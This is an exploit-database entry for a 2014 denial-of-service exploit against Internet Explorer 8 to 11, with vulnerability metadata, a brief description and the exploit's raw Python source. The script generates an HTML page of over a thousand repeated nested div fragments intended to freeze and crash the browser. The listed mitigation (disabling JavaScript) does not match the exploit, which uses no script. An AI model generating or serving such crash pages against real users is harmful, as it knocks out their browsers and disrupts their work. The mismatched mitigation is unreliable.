header-logo
Suggest Exploit
vendor:
Internet Explorer
by:
Behrooz Abbassi
7,5
CVSS
HIGH
Denial of Service (DoS)
400
CWE
Product Name: Internet Explorer
Affected Version From: 8
Affected Version To: 11
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP to 8.1 x64/x86
2014

IE D.O.S

This exploit is a Denial of Service (DoS) attack against Internet Explorer (IE) versions 8 to 11. The exploit is triggered by a specially crafted HTML page containing a large number of nested div tags. When the page is opened in IE, the browser will become unresponsive and eventually crash.

Mitigation:

Disable JavaScript in IE or use a different browser.
Source

Exploit-DB raw data:

# Exploit Title: [ IE D.O.S ]
# Date: [10/28/2014]
# Exploit Author: [Behrooz Abbassi]
# Vendor Homepage: [http://microsoft.com]
# Software Link: [http://windows.microsoft.com/en-us/internet-explorer/download-ie]
# Version: [tested on 8 to 11]
# Tested on: [XP to 8.1 x64/x86]

FuckIE="""<!DOCTYPE html>\n<html>\n<head><title>IE D.O.S</title>\n</head>\n<body>\n %s </body>\n</html>\n"""

rubbish  = """	<div class="First"><div class="Two"/> :-)<div class="Three"> </div>\n""" * 1021

IE_DOS =FuckIE %rubbish

file = open("IE_DOS.html", "w")
file.write(IE_DOS)
file.close()

Navigation

Suggest Exploit

Services By CQR